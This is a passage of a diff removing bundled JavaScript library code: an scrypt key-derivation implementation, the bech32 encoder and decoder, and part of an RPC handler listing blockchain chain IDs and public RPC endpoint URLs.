& 255, - h5 >>> 0 & 255, - h6 >>> 24 & 255, - h6 >>> 16 & 255, - h6 >>> 8 & 255, - h6 >>> 0 & 255, - h7 >>> 24 & 255, - h7 >>> 16 & 255, - h7 >>> 8 & 255, - h7 >>> 0 & 255 - ]; - } - function PBKDF2_HMAC_SHA256_OneIter(password, salt, dkLen) { - password = password.length <= 64 ? password : SHA256(password); - const innerLen = 64 + salt.length + 4; - const inner = new Array(innerLen); - const outerKey = new Array(64); - let i; - let dk = []; - for (i = 0; i < 64; i++) { - inner[i] = 54; - } - for (i = 0; i < password.length; i++) { - inner[i] ^= password[i]; - } - for (i = 0; i < salt.length; i++) { - inner[64 + i] = salt[i]; - } - for (i = innerLen - 4; i < innerLen; i++) { - inner[i] = 0; - } - for (i = 0; i < 64; i++) - outerKey[i] = 92; - for (i = 0; i < password.length; i++) - outerKey[i] ^= password[i]; - function incrementCounter() { - for (let i2 = innerLen - 1; i2 >= innerLen - 4; i2--) { - inner[i2]++; - if (inner[i2] <= 255) - return; - inner[i2] = 0; - } - } - while (dkLen >= 32) { - incrementCounter(); - dk = dk.concat(SHA256(outerKey.concat(SHA256(inner)))); - dkLen -= 32; - } - if (dkLen > 0) { - incrementCounter(); - dk = dk.concat(SHA256(outerKey.concat(SHA256(inner))).slice(0, dkLen)); - } - return dk; - } - function blockmix_salsa8(BY, Yi, r3, x, _X) { - let i; - arraycopy(BY, (2 * r3 - 1) * 16, _X, 0, 16); - for (i = 0; i < 2 * r3; i++) { - blockxor(BY, i * 16, _X, 16); - salsa20_8(_X, x); - arraycopy(_X, 0, BY, Yi + i * 16, 16); - } - for (i = 0; i < r3; i++) { - arraycopy(BY, Yi + i * 2 * 16, BY, i * 16, 16); - } - for (i = 0; i < r3; i++) { - arraycopy(BY, Yi + (i * 2 + 1) * 16, BY, (i + r3) * 16, 16); - } - } - function R(a, b) { - return a << b | a >>> 32 - b; - } - function salsa20_8(B, x) { - arraycopy(B, 0, x, 0, 16); - for (let i = 8; i > 0; i -= 2) { - x[4] ^= R(x[0] + x[12], 7); - x[8] ^= R(x[4] + x[0], 9); - x[12] ^= R(x[8] + x[4], 13); - x[0] ^= R(x[12] + x[8], 18); - x[9] ^= R(x[5] + x[1], 7); - x[13] ^= R(x[9] + x[5], 9); - x[1] ^= R(x[13] + x[9], 13); - x[5] ^= R(x[1] + x[13], 18); - x[14] ^= R(x[10] + x[6], 7); - x[2] ^= R(x[14] + x[10], 9); - x[6] ^= R(x[2] + x[14], 13); - x[10] ^= R(x[6] + x[2], 18); - x[3] ^= R(x[15] + x[11], 7); - x[7] ^= R(x[3] + x[15], 9); - x[11] ^= R(x[7] + x[3], 13); - x[15] ^= R(x[11] + x[7], 18); - x[1] ^= R(x[0] + x[3], 7); - x[2] ^= R(x[1] + x[0], 9); - x[3] ^= R(x[2] + x[1], 13); - x[0] ^= R(x[3] + x[2], 18); - x[6] ^= R(x[5] + x[4], 7); - x[7] ^= R(x[6] + x[5], 9); - x[4] ^= R(x[7] + x[6], 13); - x[5] ^= R(x[4] + x[7], 18); - x[11] ^= R(x[10] + x[9], 7); - x[8] ^= R(x[11] + x[10], 9); - x[9] ^= R(x[8] + x[11], 13); - x[10] ^= R(x[9] + x[8], 18); - x[12] ^= R(x[15] + x[14], 7); - x[13] ^= R(x[12] + x[15], 9); - x[14] ^= R(x[13] + x[12], 13); - x[15] ^= R(x[14] + x[13], 18); - } - for (let i = 0; i < 16; ++i) { - B[i] += x[i]; - } - } - function blockxor(S, Si, D, len) { - for (let i = 0; i < len; i++) { - D[i] ^= S[Si + i]; - } - } - function arraycopy(src, srcPos, dest, destPos, length) { - while (length--) { - dest[destPos++] = src[srcPos++]; - } - } - function checkBufferish(o) { - if (!o || typeof o.length !== "number") { - return false; - } - for (let i = 0; i < o.length; i++) { - const v = o[i]; - if (typeof v !== "number" || v % 1 || v < 0 || v >= 256) { - return false; - } - } - return true; - } - function ensureInteger(value, name) { - if (typeof value !== "number" || value % 1) { - throw new Error("invalid " + name); - } - return value; - } - function _scrypt(password, salt, N2, r3, p, dkLen, callback) { - N2 = ensureInteger(N2, "N"); - r3 = ensureInteger(r3, "r"); - p = ensureInteger(p, "p"); - dkLen = ensureInteger(dkLen, "dkLen"); - if (N2 === 0 || (N2 & N2 - 1) !== 0) { - throw new Error("N must be power of 2"); - } - if (N2 > MAX_VALUE / 128 / r3) { - throw new Error("N too large"); - } - if (r3 > MAX_VALUE / 128 / p) { - throw new Error("r too large"); - } - if (!checkBufferish(password)) { - throw new Error("password must be an array or buffer"); - } - password = Array.prototype.slice.call(password); - if (!checkBufferish(salt)) { - throw new Error("salt must be an array or buffer"); - } - salt = Array.prototype.slice.call(salt); - let b = PBKDF2_HMAC_SHA256_OneIter(password, salt, p * 128 * r3); - const B = new Uint32Array(p * 32 * r3); - for (let i = 0; i < B.length; i++) { - const j = i * 4; - B[i] = (b[j + 3] & 255) << 24 | (b[j + 2] & 255) << 16 | (b[j + 1] & 255) << 8 | (b[j + 0] & 255) << 0; - } - const XY = new Uint32Array(64 * r3); - const V = new Uint32Array(32 * r3 * N2); - const Yi = 32 * r3; - const x = new Uint32Array(16); - const _X = new Uint32Array(16); - const totalOps = p * N2 * 2; - let currentOp = 0; - let lastPercent10 = null; - let stop = false; - let state = 0; - let i0 = 0, i1; - let Bi; - const limit = callback ? parseInt(1e3 / r3) : 4294967295; - const nextTick = typeof setImmediate !== "undefined" ? setImmediate : setTimeout; - const incrementalSMix = function() { - if (stop) { - return callback(new Error("cancelled"), currentOp / totalOps); - } - let steps; - switch (state) { - case 0: - Bi = i0 * 32 * r3; - arraycopy(B, Bi, XY, 0, Yi); - state = 1; - i1 = 0; - case 1: - steps = N2 - i1; - if (steps > limit) { - steps = limit; - } - for (let i = 0; i < steps; i++) { - arraycopy(XY, 0, V, (i1 + i) * Yi, Yi); - blockmix_salsa8(XY, Yi, r3, x, _X); - } - i1 += steps; - currentOp += steps; - if (callback) { - const percent10 = parseInt(1e3 * currentOp / totalOps); - if (percent10 !== lastPercent10) { - stop = callback(null, currentOp / totalOps); - if (stop) { - break; - } - lastPercent10 = percent10; - } - } - if (i1 < N2) { - break; - } - i1 = 0; - state = 2; - case 2: - steps = N2 - i1; - if (steps > limit) { - steps = limit; - } - for (let i = 0; i < steps; i++) { - const offset = (2 * r3 - 1) * 16; - const j = XY[offset] & N2 - 1; - blockxor(V, j * Yi, XY, Yi); - blockmix_salsa8(XY, Yi, r3, x, _X); - } - i1 += steps; - currentOp += steps; - if (callback) { - const percent10 = parseInt(1e3 * currentOp / totalOps); - if (percent10 !== lastPercent10) { - stop = callback(null, currentOp / totalOps); - if (stop) { - break; - } - lastPercent10 = percent10; - } - } - if (i1 < N2) { - break; - } - arraycopy(XY, 0, B, Bi, Yi); - i0++; - if (i0 < p) { - state = 0; - break; - } - b = []; - for (let i = 0; i < B.length; i++) { - b.push(B[i] >> 0 & 255); - b.push(B[i] >> 8 & 255); - b.push(B[i] >> 16 & 255); - b.push(B[i] >> 24 & 255); - } - const derivedKey = PBKDF2_HMAC_SHA256_OneIter(password, b, dkLen); - if (callback) { - callback(null, 1, derivedKey); - } - return derivedKey; - } - if (callback) { - nextTick(incrementalSMix); - } - }; - if (!callback) { - while (true) { - const derivedKey = incrementalSMix(); - if (derivedKey != void 0) { - return derivedKey; - } - } - } - incrementalSMix(); - } - const lib = { - scrypt: function(password, salt, N2, r3, p, dkLen, progressCallback) { - return new Promise(function(resolve, reject) { - let lastProgress = 0; - if (progressCallback) { - progressCallback(0); - } - _scrypt(password, salt, N2, r3, p, dkLen, function(error, progress, key3) { - if (error) { - reject(error); - } else if (key3) { - if (progressCallback && lastProgress !== 1) { - progressCallback(1); - } - resolve(new Uint8Array(key3)); - } else if (progressCallback && progress !== lastProgress) { - lastProgress = progress; - return progressCallback(progress); - } - }); - }); - }, - syncScrypt: function(password, salt, N2, r3, p, dkLen) { - return new Uint8Array(_scrypt(password, salt, N2, r3, p, dkLen)); - } - }; - if (typeof exports !== "undefined") { - module.exports = lib; - } else if (typeof define === "function" && define.amd) { - define(lib); - } else if (root) { - if (root.scrypt) { - root._scrypt = root.scrypt; - } - root.scrypt = lib; - } - })(exports); - } - }); - - // node_modules/bech32/index.js - var require_bech322 = __commonJS({ - "node_modules/bech32/index.js"(exports, module) { - "use strict"; - var ALPHABET2 = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"; - var ALPHABET_MAP = {}; - for (z = 0; z < ALPHABET2.length; z++) { - x = ALPHABET2.charAt(z); - if (ALPHABET_MAP[x] !== void 0) - throw new TypeError(x + " is ambiguous"); - ALPHABET_MAP[x] = z; - } - var x; - var z; - function polymodStep(pre) { - var b = pre >> 25; - return (pre & 33554431) << 5 ^ -(b >> 0 & 1) & 996825010 ^ -(b >> 1 & 1) & 642813549 ^ -(b >> 2 & 1) & 513874426 ^ -(b >> 3 & 1) & 1027748829 ^ -(b >> 4 & 1) & 705979059; - } - function prefixChk(prefix) { - var chk = 1; - for (var i = 0; i < prefix.length; ++i) { - var c = prefix.charCodeAt(i); - if (c < 33 || c > 126) - return "Invalid prefix (" + prefix + ")"; - chk = polymodStep(chk) ^ c >> 5; - } - chk = polymodStep(chk); - for (i = 0; i < prefix.length; ++i) { - var v = prefix.charCodeAt(i); - chk = polymodStep(chk) ^ v & 31; - } - return chk; - } - function encode9(prefix, words2, LIMIT) { - LIMIT = LIMIT || 90; - if (prefix.length + 7 + words2.length > LIMIT) - throw new TypeError("Exceeds length limit"); - prefix = prefix.toLowerCase(); - var chk = prefixChk(prefix); - if (typeof chk === "string") - throw new Error(chk); - var result = prefix + "1"; - for (var i = 0; i < words2.length; ++i) { - var x2 = words2[i]; - if (x2 >> 5 !== 0) - throw new Error("Non 5-bit word"); - chk = polymodStep(chk) ^ x2; - result += ALPHABET2.charAt(x2); - } - for (i = 0; i < 6; ++i) { - chk = polymodStep(chk); - } - chk ^= 1; - for (i = 0; i < 6; ++i) { - var v = chk >> (5 - i) * 5 & 31; - result += ALPHABET2.charAt(v); - } - return result; - } - function __decode(str, LIMIT) { - LIMIT = LIMIT || 90; - if (str.length < 8) - return str + " too short"; - if (str.length > LIMIT) - return "Exceeds length limit"; - var lowered = str.toLowerCase(); - var uppered = str.toUpperCase(); - if (str !== lowered && str !== uppered) - return "Mixed-case string " + str; - str = lowered; - var split = str.lastIndexOf("1"); - if (split === -1) - return "No separator character for " + str; - if (split === 0) - return "Missing prefix for " + str; - var prefix = str.slice(0, split); - var wordChars = str.slice(split + 1); - if (wordChars.length < 6) - return "Data too short"; - var chk = prefixChk(prefix); - if (typeof chk === "string") - return chk; - var words2 = []; - for (var i = 0; i < wordChars.length; ++i) { - var c = wordChars.charAt(i); - var v = ALPHABET_MAP[c]; - if (v === void 0) - return "Unknown character " + c; - chk = polymodStep(chk) ^ v; - if (i + 6 >= wordChars.length) - continue; - words2.push(v); - } - if (chk !== 1) - return "Invalid checksum for " + str; - return { prefix, words: words2 }; - } - function decodeUnsafe() { - var res = __decode.apply(null, arguments); - if (typeof res === "object") - return res; - } - function decode5(str) { - var res = __decode.apply(null, arguments); - if (typeof res === "object") - return res; - throw new Error(res); - } - function convert(data, inBits, outBits, pad) { - var value = 0; - var bits = 0; - var maxV = (1 << outBits) - 1; - var result = []; - for (var i = 0; i < data.length; ++i) { - value = value << inBits | data[i]; - bits += inBits; - while (bits >= outBits) { - bits -= outBits; - result.push(value >> bits & maxV); - } - } - if (pad) { - if (bits > 0) { - result.push(value << outBits - bits & maxV); - } - } else { - if (bits >= inBits) - return "Excess padding"; - if (value << outBits - bits & maxV) - return "Non-zero padding"; - } - return result; - } - function toWordsUnsafe(bytes) { - var res = convert(bytes, 8, 5, true); - if (Array.isArray(res)) - return res; - } - function toWords(bytes) { - var res = convert(bytes, 8, 5, true); - if (Array.isArray(res)) - return res; - throw new Error(res); - } - function fromWordsUnsafe(words2) { - var res = convert(words2, 5, 8, false); - if (Array.isArray(res)) - return res; - } - function fromWords(words2) { - var res = convert(words2, 5, 8, false); - if (Array.isArray(res)) - return res; - throw new Error(res); - } - module.exports = { - decodeUnsafe, - decode: decode5, - encode: encode9, - toWordsUnsafe, - toWords, - fromWordsUnsafe, - fromWords - }; - } - }); - - // node_modules/@ubiquibot/permit-generation/dist/types/index.js - var require_types = __commonJS({ - "node_modules/@ubiquibot/permit-generation/dist/types/index.js"(exports) { - "use strict"; - var e; - exports.TokenType = void 0, (e = exports.TokenType || (exports.TokenType = {})).ERC20 = "ERC20", e.ERC721 = "ERC721"; - } - }); - - // node_modules/@ubiquity-dao/rpc-handler/dist/esm/index.js - var __create2 = Object.create; - var __defProp2 = Object.defineProperty; - var __getOwnPropDesc2 = Object.getOwnPropertyDescriptor; - var __getOwnPropNames2 = Object.getOwnPropertyNames; - var __getProtoOf2 = Object.getPrototypeOf; - var __hasOwnProp2 = Object.prototype.hasOwnProperty; - var __esm2 = (fn, res) => function __init() { - return fn && (res = (0, fn[__getOwnPropNames2(fn)[0]])(fn = 0)), res; - }; - var __commonJS2 = (cb, mod) => function __require2() { - return mod || (0, cb[__getOwnPropNames2(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports; - }; - var __export2 = (target, all3) => { - for (var name in all3) - __defProp2(target, name, { get: all3[name], enumerable: true }); - }; - var __copyProps2 = (to, from, except, desc) => { - if (from && typeof from === "object" || typeof from === "function") { - for (let key22 of __getOwnPropNames2(from)) - if (!__hasOwnProp2.call(to, key22) && key22 !== except) - __defProp2(to, key22, { get: () => from[key22], enumerable: !(desc = __getOwnPropDesc2(from, key22)) || desc.enumerable }); - } - return to; - }; - var __toESM2 = (mod, isNodeMode, target) => (target = mod != null ? __create2(__getProtoOf2(mod)) : {}, __copyProps2( - // If the importer is in node compatibility mode or this is not an ESM - // file that has been converted to a CommonJS file using a Babel- - // compatible transform (i.e. "__esModule" has not been set), then set - // "default" to the CommonJS "module.exports" for node compatibility. - isNodeMode || !mod || !mod.__esModule ? __defProp2(target, "default", { value: mod, enumerable: true }) : target, - mod - )); - var define_chainIDList_default; - var init_define_chainIDList = __esm2({ - ""() { - define_chainIDList_default = { "1": "ethereum", "8": "ubiq", "10": "optimism", "19": "songbird", "20": "elastos", "24": "kardiachain", "25": "cronos", "30": "rsk", "40": "telos", "50": "xdc", "52": "csc", "55": "zyx", "56": "binance", "57": "syscoin", "60": "gochain", "61": "ethereumclassic", "66": "okexchain", "70": "hoo", "82": "meter", "87": "nova network", "88": "viction", "100": "xdai", "106": "velas", "108": "thundercore", "122": "fuse", "128": "heco", "137": "polygon", "148": "shimmer_evm", "169": "manta", "200": "xdaiarb", "204": "op_bnb", "246": "energyweb", "248": "oasys", "250": "fantom", "269": "hpb", "288": "boba", "311": "omax", "314": "filecoin", "321": "kucoin", "324": "era", "336": "shiden", "361": "theta", "369": "pulse", "416": "sx", "463": "areon", "534": "candle", "570": "rollux", "592": "astar", "820": "callisto", "888": "wanchain", "1030": "conflux", "1088": "metis", "1101": "polygon_zkevm", "1116": "core", "1231": "ultron", "1234": "step", "1284": "moonbeam", "1285": "moonriver", "1440": "living assets mainnet", "1559": "tenet", "1975": "onus", "2000": "dogechain", "2222": "kava", "2332": "soma", "4337": "beam", "4689": "iotex", "5000": "mantle", "5050": "xlc", "5551": "nahmii", "6969": "tombchain", "7700": "canto", "8217": "klaytn", "8453": "base", "8899": "jbc", "9001": "evmos", "9790": "carbon", "10000": "smartbch", "15551": "loop", "17777": "eos_evm", "32520": "bitgert", "32659": "fusion", "32769": "zilliqa", "42161": "arbitrum", "42170": "arbitrum_nova", "42220": "celo", "42262": "oasis", "43114": "avalanche", "47805": "rei", "55555": "reichain", "59144": "linea", "71402": "godwoken", "333999": "polis", "420420": "kekchain", "888888": "vision", "245022934": "neon", "1313161554": "aurora", "1666600000": "harmony", "11297108109": "palm", "836542336838601": "curio" }; - } - }); - var define_extraRpcs_default; - var init_define_extraRpcs = __esm2({ - ""() { - define_extraRpcs_default = { "1": ["https://mainnet.eth.cloud.ava.do/", "https://ethereumnodelight.app.runonflux.io", "https://eth-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf", "https://main-light.eth.linkpool.io", "https://rpc.notadegen.com/eth", "https://eth.llamarpc.com", "https://endpoints.omniatech.io/v1/eth/mainnet/public", "https://go.getblock.io/d7dab8149ec04390aaa923ff2768f914", "https://ethereum-rpc.publicnode.com", "https://1rpc.io/eth", "https://rpc.builder0x69.io/", "https://rpc.mevblocker.io", "https://rpc.flashbots.net/", "https://eth-pokt.nodies.app", "https://rpc.payload.de", "https://api.zmok.io/mainnet/oaen6dy8ff6hju9k", "https://eth.meowrpc.com", "https://eth.drpc.org", "https://eth.merkle.io", "https://rpc.lokibuilder.xyz/wallet", "https://api.stateless.solutions/ethereum/v1/0ec6cac0-ecac-4247-8a41-1e685deadfe4", "https://rpc.polysplit.cloud/v1/chain/1", "https://rpc.tornadoeth.cash/eth", "https://rpc.tornadoeth.cash/mev"], "2": ["https://node.eggs.cool", "https://node.expanse.tech"], "3": ["https://rpc.ankr.com/eth_ropsten", "https://ropsten.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161"], "4": ["https://rpc.ankr.com/eth_rinkeby", "https://rinkeby.infura.io/3/9aa3d95b3bc440fa88ea12eaa4456161"], "5": ["https://endpoints.omniatech.io/v1/eth/goerli/public", "https://ethereum-goerli-rpc.publicnode.com", "https://rpc.tornadoeth.cash/goerli"], "6": ["https://www.ethercluster.com/kotti"], "7": ["https://rpc.dome.cloud"], "8": ["https://rpc.octano.dev"], "10": ["https://mainnet.optimism.io/", "https://optimism.llamarpc.com", "https://1rpc.io/op", "https://op-pokt.nodies.app", "https://endpoints.omniatech.io/v1/op/mainnet/public", "https://optimism-rpc.publicnode.com", "https://optimism.meowrpc.com", "https://optimism.drpc.org", "https://api.stateless.solutions/optimism/v1/f373feb1-c8e4-41c9-bb74-2c691988dd34", "https://rpc.tornadoeth.cash/optimism"], "11": ["https://api.metadium.com/dev"], "14": [], "15": ["https://prenet.diode.io:8443/"], "17": ["https://rpc.thaifi.com"], "19": ["https://songbird.towolabs.com/rpc"], "20": ["https://api.elastos.io/esc", "https://api.trinity-tech.io/esc"], "22": ["https://api.trinity-tech.io/eid", "https://api.elastos.io/eid"], "24": ["https://rpc.kardiachain.io"], "25": ["https://evm.cronos.org", "https://cronos-rpc.elk.finance/", "https://cronos-evm-rpc.publicnode.com", "https://1rpc.io/cro"], "27": ["https://rpc.shibachain.net"], "29": ["https://rpc.genesisl1.org"], "30": ["https://public-node.rsk.co"], "33": ["https://rpc.goodata.io"], "35": ["https://rpc.tbwg.io"], "38": ["https://rpc.valorbit.com/v2"], "40": ["https://mainnet.telos.net/evm", "https://rpc1.eu.telos.net/evm", "https://rpc1.us.telos.net/evm", "https://rpc2.us.telos.net/evm", "https://api.kainosbp.com/evm", "https://rpc2.eu.telos.net/evm", "https://evm.teloskorea.com/evm", "https://rpc2.teloskorea.com/evm", "https://rpc01.us.telosunlimited.io/evm", "https://rpc02.us.telosunlimited.io/evm", "https://1rpc.io/telos/evm"], "44": [], "50": ["https://rpc.xdcrpc.com", "https://rpc1.xinfin.network", "https://erpc.xinfin.network", "https://rpc.xinfin.network", "https://erpc.xdcrpc.com", "https://rpc.xdc.org"], "51": ["https://rpc.apothem.network", "https://erpc.apothem.network", "https://apothem.xdcrpc.com"], "52": ["https://rpc.coinex.net/", "https://rpc1.coinex.net/", "https://rpc2.coinex.net/", "https://rpc3.coinex.net/", "https://rpc4.coinex.net/"], "55": ["https://rpc-1.zyx.network/", "https://rpc-2.zyx.network/", "https://rpc-3.zyx.network/", "https://rpc-5.zyx.network/"], "56": ["https://bsc-dataseed.bnbchain.org/", "https://bsc-dataseed1.defibit.io/", "https://bsc-dataseed1.ninicoin.io/", "https://bsc-dataseed2.defibit.io/", "https://bsc-dataseed3.defibit.io/", "https://bsc-dataseed4.defibit.io/", "https://bsc-dataseed2.ninicoin.io/", "https://bsc-dataseed3.ninicoin.io/", "https://bsc-dataseed4.ninicoin.io/", "https://bsc-dataseed1.bnbchain.org/", "https://bsc-dataseed2.bnbchain.org/", "https://bsc-dataseed3.bnbchain.org/", "https://bsc-dataseed4.bnbchain.org/", "https://bsc-dataseed6.dict.life/", "https://bscrpc.com", "https://bsc.rpcgator.com/", "https://bsc-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf", "https://nodes.vefinetwork.org/smartchain", "https://binance.llamarpc.com", "https://endpoints.omniatech.io/v1/bsc/mainnet/public", "https://bsc-pokt.nodies.app", "https://1rpc.io/bnb", "https://bsc-rpc.publicnode.com", "https://bsc.meowrpc.com", "https://bsc.drpc.org", "https://rpc.polysplit.cloud/v1/chain/56", "https://rpc.tornadoeth.cash/bsc"], "57": ["https://rpc.syscoin.org", "https://syscoin-evm-rpc.publicnode.com"], "58": ["https://dappnode1.ont.io:10339", "https://dappnode2.ont.io:10339", "https://dappnode3.ont.io:10339", "https://dappnode4.ont.io:10339"], "59": ["https://api.eosargentina.io", "https://api.metahub.cash"], "60": ["https://rpc.gochain.io"], "61": ["https://etc.mytokenpocket.vip", "https://rpc.etcinscribe.com", "https://etc.etcdesktop.com", "https://etc.rivet.link"], "62": ["https://www.ethercluster.com/morden"], "63": ["https://rpc.mordor.etccooperative.org"], "64": [], "66": ["https://exchainrpc.okex.org", "https://1rpc.io/oktc"], "68": [], "70": ["https://http-mainnet.hoosmartchain.com"], "74": ["https://idchain.one/rpc/"], "76": [], "77": ["https://sokol.poa.network"], "78": ["https://ethnode.primusmoney.com/mainnet"], "79": ["https://dataserver-us-1.zenithchain.co/", "https://dataserver-asia-3.zenithchain.co/", "https://dataserver-asia-4.zenithchain.co/", "https://dataserver-asia-2.zenithchain.co/"], "80": [], "82": ["https://rpc.meter.io"], "86": ["https://evm.gatenode.cc"], "87": ["https://rpc.novanetwork.io:9070", "https://dev.rpc.novanetwork.io/"], "88": ["https://rpc.tomochain.com"], "90": ["https://s0.garizon.net/rpc"], "91": ["https://s1.garizon.net/rpc"], "92": ["https://s2.garizon.net/rpc"], "93": ["https://s3.garizon.net/rpc"], "96": ["https://rpc.bitkubchain.io"], "97": ["https://bsctestapi.terminet.io/rpc", "https://endpoints.omniatech.io/v1/bsc/testnet/public", "https://bsc-testnet-rpc.publicnode.com"], "99": ["https://core.poanetwork.dev"], "100": ["https://rpc.gnosischain.com", "https://xdai-archive.blockscout.com", "https://gnosis-pokt.nodies.app", "https://gnosis.drpc.org", "https://endpoints.omniatech.io/v1/gnosis/mainnet/public", "https://gnosis-rpc.publicnode.com", "https://1rpc.io/gnosis", "https://rpc.tornadoeth.cash/gnosis"], "101": [], "106": ["https://evmexplorer.velas.com/rpc", "https://velas-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf"], "108": ["https://mainnet-rpc.thundercore.com"], "111": ["https://rpc.etherlite.org"], "119": ["https://evmapi.nuls.io", "https://evmapi2.nuls.io"], "122": ["https://rpc.fuse.io", "https://fuse-pokt.nodies.app"], "123": ["https://rpc.fusespark.io"], "124": [], "126": ["https://rpc.mainnet.oychain.io", "https://rpc.oychain.io"], "127": [], "128": ["https://http-mainnet.hecochain.com", "https://http-mainnet-node.huobichain.com", "https://hecoapi.terminet.io/rpc"], "131": ["https://tokioswift.engram.tech", "https://tokio-archive.engram.tech"], "137": ["https://rpc-mainnet.maticvigil.com", "https://polygon-rpc.com", "https://rpc-mainnet.matic.network", "https://matic-mainnet-full-rpc.bwarelabs.com", "https://matic-mainnet-archive-rpc.bwarelabs.com", "https://polygonapi.terminet.io/rpc", "https://polygon-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf", "https://polygon-mainnet-public.unifra.io", "https://polygon.llamarpc.com", "https://endpoints.omniatech.io/v1/matic/mainnet/public", "https://polygon-pokt.nodies.app", "https://1rpc.io/matic", "https://polygon-bor-rpc.publicnode.com", "https://polygon.drpc.org", "https://polygon.meowrpc.com", "https://getblock.io/nodes/matic/", "https://api.stateless.solutions/polygon/v1/5850f066-209e-4e3c-a294-0757a4eb34b3", "https://rpc.tornadoeth.cash/polygon"], "142": ["https://rpc.prodax.io"], "163": ["https://node.mainnet.lightstreams.io"], "167": ["https://node.atoshi.io", "https://node2.atoshi.io", "https://node3.atoshi.io"], "169": ["https://pacific-rpc.manta.network/http", "https://1rpc.io/manta"], "186": ["https://rpc.seelen.pro/"], "188": ["https://mainnet.bmcchain.com/"], "195": [], "199": ["https://rpc.bittorrentchain.io/"], "200": ["https://arbitrum.xdaichain.com"], "204": ["https://opbnb-rpc.publicnode.com", "https://1rpc.io/opbnb"], "211": [], "217": ["https://rpc2.siriusnet.io"], "222": ["https://blockchain-api-mainnet.permission.io/rpc"], "246": ["https://rpc.energyweb.org"], "248": ["https://oasys-mainnet.gateway.pokt.network/v1/lb/c967bd31", "https://oasys-mainnet-archival.gateway.pokt.network/v1/lb/c967bd31"], "250": ["https://rpcapi.fantom.network", "https://rpc.ftm.tools/", "https://rpc.fantom.network", "https://rpc2.fantom.network", "https://rpc3.fantom.network", "https://endpoints.omniatech.io/v1/fantom/mainnet/public", "https://fantom-pokt.nodies.app", "https://1rpc.io/ftm", "https://fantom-rpc.publicnode.com", "https://fantom.drpc.org"], "255": ["https://1rpc.io/kroma"], "256": ["https://hecotestapi.terminet.io/rpc"], "258": [], "262": ["https://sur.nilin.org"], "288": ["https://mainnet.boba.network/", "https://1rpc.io/boba/eth"], "300": [], "311": ["https://mainapi.omaxray.com/"], "314": ["https://api.node.glif.io", "https://node.filutils.com/rpc/v1", "https://api.chain.love/rpc/v1"], "321": ["https://rpc-mainnet.kcc.network", "https://kcc.mytokenpocket.vip", "https://kcc-rpc.com"], "324": ["https://zksync.meowrpc.com", "https://zksync.drpc.org", "https://1rpc.io/zksync2-era"], "333": [], "336": ["https://rpc.shiden.astar.network:8545/"], "338": ["https://evm-t3.cronos.org/"], "361": ["https://eth-rpc-api.thetatoken.org/rpc"], "369": ["https://rpc.pulsechain.com", "https://rpc-pulsechain.g4mm4.io", "https://evex.cloud/pulserpc", "https://pulse-s.projectpi.xyz", "https://pulsechain-rpc.publicnode.com"], "385": [], "416": ["https://rpc.sx.technology"], "420": ["https://endpoints.omniatech.io/v1/op/goerli/public", "https://optimism-goerli-rpc.publicnode.com"], "463": ["https://mainnet-rpc.areon.network", "https://mainnet-rpc2.areon.network", "https://mainnet-rpc3.areon.network", "https://mainnet-rpc4.areon.network", "https://mainnet-rpc5.areon.network"], "499": [], "512": ["https://rpc.acuteangle.com"], "530": ["https://fx-json-web3.portfolio-x.xyz:8545/"], "555": ["https://rpc.velaverse.io"], "558": ["https://rpc.tao.network"], "570": ["https://rpc.rollux.com", "https://rollux.rpc.syscoin.org"], "592": ["https://evm.astar.network/", "https://rpc.astar.network:8545", "https://getblock.io/nodes/bsc/", "https://1rpc.io/astr"], "595": [], "686": ["https://eth-rpc-karura.aca-staging.network", "https://rpc.evm.karura.network"], "707": [], "777": ["https://node.cheapeth.org/rpc"], "787": ["https://eth-rpc-acala.aca-staging.network", "https://rpc.evm.acala.network"], "803": [], "813": ["https://mainnet.meerlabs.com"], "820": ["https://rpc.callisto.network", "https://clo-geth.0xinfra.com/"], "880": [], "888": ["https://gwan-ssl.wandevs.org:56891", "https://gwan2-ssl.wandevs.org"], "943": ["https://pulsetest-s.projectpi.xyz", "https://pulsechain-testnet-rpc.publicnode.com"], "977": [], "998": [], "1001": ["https://public-en-baobab.klaytn.net"], "1003": [], "1010": ["https://meta.evrice.com"], "1012": ["https://global.rpc.mainnet.newtonproject.org"], "1022": [], "1024": ["https://api-para.clover.finance"], "1030": ["https://evm.confluxrpc.com", "https://conflux-espace-public.unifra.io"], "1072": ["https://json-rpc.evm.testnet.shimmer.network/"], "1088": ["https://andromeda.metis.io/?owner=1088", "https://metis-pokt.nodies.app"], "1089": ["https://humans-mainnet-evm.itrocket.net"], "1100": ["https://jsonrpc.dymension.nodestake.org", "https://evm-archive.dymd.bitszn.com", "https://dymension.liquify.com/json-rpc", "https://dymension-evm.kynraze.com"], "1101": ["https://1rpc.io/polygon/zkevm", "https://polygon-zkevm.drpc.org"], "1115": ["https://rpc.test.btcs.network"], "1116": ["https://rpc.coredao.org", "https://core.public.infstones.com", "https://1rpc.io/core"], "1130": ["https://dmc.mydefichain.com/mainnet", "https://dmc01.mydefichain.com/mainnet"], "1131": ["https://dmc.mydefichain.com/testnet", "https://dmc01.mydefichain.com/testnet", "https://eth.testnet.ocean.jellyfishsdk.com/"], "1139": ["https://mathchain.maiziqianbao.net/rpc"], "1197": [], "1202": [], "1213": ["https://dataseed.popcateum.org"], "1214": [], "1231": ["https://ultron-rpc.net"], "1246": ["https://rpc-cnx.omplatform.com"], "1280": ["https://nodes.halo.land"], "1284": ["https://rpc.api.moonbeam.network", "https://1rpc.io/glmr", "https://endpoints.omniatech.io/v1/moonbeam/mainnet/public", "https://moonbeam-rpc.publicnode.com"], "1285": ["https://moonriver-rpc.publicnode.com"], "1287": ["https://rpc.testnet.moonbeam.network"], "1288": [], "1338": ["https://rpc.atlantischain.network/"], "1339": ["https://rpc.elysiumchain.tech/", "https://rpc.elysiumchain.us/"], "1440": [], "1442": [], "1501": ["https://rpc-canary-1.bevm.io/", "https://rpc-canary-2.bevm.io/"], "1506": ["https://mainnet.sherpax.io/rpc"], "1515": 